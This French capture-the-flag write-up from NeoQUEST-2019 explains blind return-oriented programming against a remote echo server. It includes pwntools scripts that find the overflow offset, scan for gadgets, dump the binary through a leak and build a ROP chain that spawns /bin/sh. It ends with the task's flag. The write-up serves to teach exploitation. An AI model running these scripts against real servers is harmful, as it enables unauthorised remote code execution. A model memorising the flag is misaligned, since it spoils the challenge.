Comment trouver une vulnérabilité sur un serveur sans information à ce sujet? En quoi BROP est-il différent de ROP? Est-il possible de télécharger un fichier exécutable à partir d'un serveur via un débordement de tampon? Bienvenue au chat, nous analyserons les réponses à ces questions sur l'exemple de réussite de la tâche
NeoQUEST-2019 !
L'adresse et le port du serveur sont
donnés :
213.170.100.211 10000 . Essayons de nous y connecter:
À première vue - rien de spécial, un serveur d'écho régulier: renvoie la même chose que nous lui avons envoyée.
Après avoir joué avec la taille des données transmises, vous pouvez remarquer qu'avec une longueur de ligne suffisamment longue, le serveur ne se lève pas et met fin à la connexion:
Hmm, ça ressemble à un débordement.
Trouvez la longueur du tampon. Vous pouvez simplement parcourir les valeurs, les incrémenter, jusqu'à ce que nous obtenions une sortie non standard du serveur. Et vous pouvez montrer un peu d'ingéniosité et accélérer le processus en utilisant la recherche binaire, en vérifiant si le serveur est tombé en panne ou n'est pas tombé après la prochaine requête.
Déterminer la longueur du tamponfrom pwn import * import threading import time import sys ADDR = "213.170.100.211" PORT = 10000 def find_offset(): start = 0 end = 200 while True: conn = remote(ADDR, PORT) curlen = (start + end)
Ainsi, la longueur du tampon est de 136. Si vous envoyez 136 octets au serveur, nous effaçons l'octet nul à la fin de notre ligne sur la pile et obtenons les données qui la suivent - la valeur est 0x400155. Et c'est, apparemment, l'adresse de retour. De cette façon, nous pouvons contrôler le flux d'exécution. Mais nous n'avons pas le fichier exécutable lui-même, et nous ne savons pas exactement où se trouvent les gadgets ROP qui nous permettraient d'obtenir le shell.
Que peut-on faire à ce sujet?
Il existe une technique spéciale qui vous permet de résoudre ce type de problème, à condition que l'adresse de retour soit contrôlée -
Programmation orientée retour aveugle . En substance, BROP est une analyse aveugle d'un fichier exécutable pour les gadgets. Nous réécrivons l'adresse de retour avec une adresse du segment de texte, définissons les paramètres du gadget souhaité sur la pile et analysons le comportement du programme. Sur la base de l'analyse, une hypothèse est née, que nous ayons deviné ou non. Un rôle important est joué par les gadgets auxiliaires spéciaux -
Stop (son exécution n'entraînera pas la fin du programme) et
Trap (son exécution entraînera la fin du programme). Ainsi, au début, des gadgets auxiliaires sont trouvés, et avec leur aide, les gadgets nécessaires sont déjà recherchés (en règle générale, afin d'appeler
write et d'obtenir le fichier exécutable).
Par exemple, nous voulons trouver un gadget qui place une seule valeur de la pile dans un registre et qui
ret . Nous enregistrerons l'adresse testée au lieu de l'adresse de retour afin de lui transférer le contrôle. Après cela, nous notons l'adresse du gadget
Trap que nous avons trouvé plus tôt, et derrière elle se trouve l'adresse du gadget
Stop . Ce qui se révèle finalement: si le serveur est tombé en panne (
Trap a fonctionné), alors le gadget est situé à l'adresse de test actuelle, qui ne correspond pas à celle recherchée: il ne supprime pas l'adresse du gadget
Trap de la pile. Si
Stop a fonctionné, le gadget actuel peut être exactement ce que nous recherchons: il a supprimé une valeur de la pile. Ainsi, vous pouvez rechercher des gadgets qui correspondent à un comportement spécifique.
Mais dans ce cas, la recherche peut être simplifiée. Nous savons avec certitude que le serveur nous imprime une certaine valeur en réponse. Vous pouvez essayer d'analyser diverses adresses dans le fichier exécutable et voir si nous arrivons au code qui affiche à nouveau la ligne.
Découverte de gadgets lock = threading.Lock() def safe_get_next(gen): with lock: return next(gen) def find_puts(offiter, buffsize, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return payload = b'A' * buffsize payload += p64(base + offset) if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) conn.send(payload) time.sleep(2) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if len(r) > 0: print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts, args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1)
Comment obtenir le fichier exécutable en utilisant cette fuite?
Nous savons que le serveur écrit une ligne en réponse. Lorsque nous allons à l'adresse
0x40016f, les paramètres de la fonction de sortie sont remplis d'une sorte de déchets. Puisque, à en juger par l'adresse de retour, nous avons affaire à un fichier exécutable 64 bits, les paramètres des fonctions
sont situés dans des registres.
Mais que se passe-t-il si nous trouvons un gadget qui nous permettrait de contrôler le contenu des registres (les y placer depuis la pile)? Essayons de le trouver en utilisant la même technique. Nous pouvons mettre n'importe quelle valeur sur la pile, non? Donc, nous devons trouver un gadget pop qui mettrait notre valeur dans le registre souhaité avant d'appeler la fonction de sortie. Définissez l'adresse du début du fichier ELF (
0x400000 ) comme adresse de la chaîne. Si nous trouvons le bon gadget, le serveur devra imprimer la signature
7F 45 4C 46 en réponse.
La recherche de gadgets se poursuit def find_pop(offiter, buffsize, puts, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) payload = b'A' * buffsize payload += p64(base + offset) payload += p64(0x400001) payload += p64(puts) conn.send(payload) time.sleep(1) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if b'ELF' in r: print("Binary leak at at {:#x}".format(base + offset), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop, args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start() time.sleep(1)
En utilisant le paquet d'adresses résultant, nous pompons le fichier exécutable du serveur.
Extraction de fichiers def dump(buffsize, pop, puts, offset, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(pop) payload += p64(base + offset) # what to dump payload += p64(puts) conn.send(payload) time.sleep(0.5) r = conn.recv() r = r.strip(b'A' * buffsize) conn.close() if r[3:]: return r[3:] return None
Voyons cela dans l'IDA:
L'adresse
0x40016f nous conduit à
syscall , et
0x40017f conduit à
pop rsi ;
ret .
Maintenant que vous disposez d'un fichier exécutable, vous pouvez créer une chaîne ROP. De plus, la ligne
/ bin / sh était également dedans !
Nous formons une chaîne qui appelle
system avec l'argument
/ bin / sh . Des informations sur les appels système sous Linux 64 bits peuvent être trouvées, par exemple,
ici .
Dernière petite étape def get_shell(buffsize, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(base + 0x17d) payload += p64(59) payload += p64(0) payload += p64(0) payload += p64(base + 0x1ce) payload += p64(base + 0x1d0) payload += p64(base + 0x17b) conn.send(payload) conn.interactive()
Exécutez l'exploit et obtenez le shell:
Victoire!
NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433Très prochainement, des vraytaps apparaîtront pour les autres tâches de la scène en ligne de NeoQUEST-2019. Et la «Confrontation» aura lieu le 26 juin! Des nouvelles apparaîtront sur
le site de l' événement, ne manquez pas!